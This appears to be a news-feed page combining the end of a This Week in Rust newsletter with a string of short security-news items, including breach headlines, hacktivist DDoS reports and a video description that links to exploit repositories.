  • Rust Melbourne July 2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

Thank you for your PR, but please edit the description like you are a chainsaw-wielding maniac that just discovered the sentences are young adults who came to the lake at summer camp after sunset.

– workingjubilee on Rust github

Thanks to Theemathas for the suggestion!

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

Read more of this story at Slashdot.

Read more →

The post Hack suggests AI music generator Suno scraped YouTube for training data appeared first on IT Security News.

Der Artikel Suno: KI-Musikgenerator griff Daten von YouTube, Deezer und Genius ab erschien zuerst auf TARNKAPPE.INFO

Figure out what vulnerabilities in your code ACTUALLY MATTER with Maze at https://go.lowlevel.tv/maze

https://copy.fail
https://github.com/v4bel/dirtyfrag
https://github.com/J-jaeyoung/bad-epoll

🏫 MY COURSES
Sign-up for my FREE 3-Day C Course: https://lowlevel.academy

🧙‍♂️ HACK YOUR CAREER
Wanna learn to hack? Join my new CTF platform: https://stacksmash.io

⌨️ KEYBOARD
Like what you hear? Grab a Q5 at https://go.lowlevel.tv/keyboard

🔥COME HANG OUT
Check out my other stuff: https://lowlevel.tv

Read more →

The post Lidl Confirms Data Breach After Third-Party IT Provider Hack appeared first on IT Security News.

The post Lidl Confirms Data Breach After Third-Party IT Provider Hack appeared first on IT Security Guru.

Read more →

The post 12 Factor Framework for Building Secure and Compliant Cloud Applications appeared first on IT Security News.

Read more →

The post IT Security News Hourly Summary 2026-07-14 21h : 5 posts appeared first on IT Security News.

Read more →

The post Synopsys Finds No Evidence of Data Breach Amid Bosch Hack Claims appeared first on IT Security News.

The post Synopsys Finds No Evidence of Data Breach Following Bosch Hack Claims appeared first on SecurityWeek.

The post Pro-Iran Hacktivists Use Telegram-Coordinated DDoS and Hack-and-Leak Attacks for Digital Proxy Warfare appeared first on Cyber Security News.

The post Pro-Iran Hacktivist Groups Launch DDoS and Hack-and-Leak Attacks Against Critical Infrastructure appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more →

The post Pro-Iran Hacktivist Groups Launch DDoS and Hack-and-Leak Attacks Against Critical Infrastructure appeared first on IT Security News.

Dieser Beitrag Hacker kapern SpaceXAI- und Starlink-Accounts und machen rund 125.000 US-Dollar erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more of this story at Slashdot.

Read more →

The post Dutch Nationals Suspected in Odido Hack That Exposed Six Million Customers appeared first on IT Security News.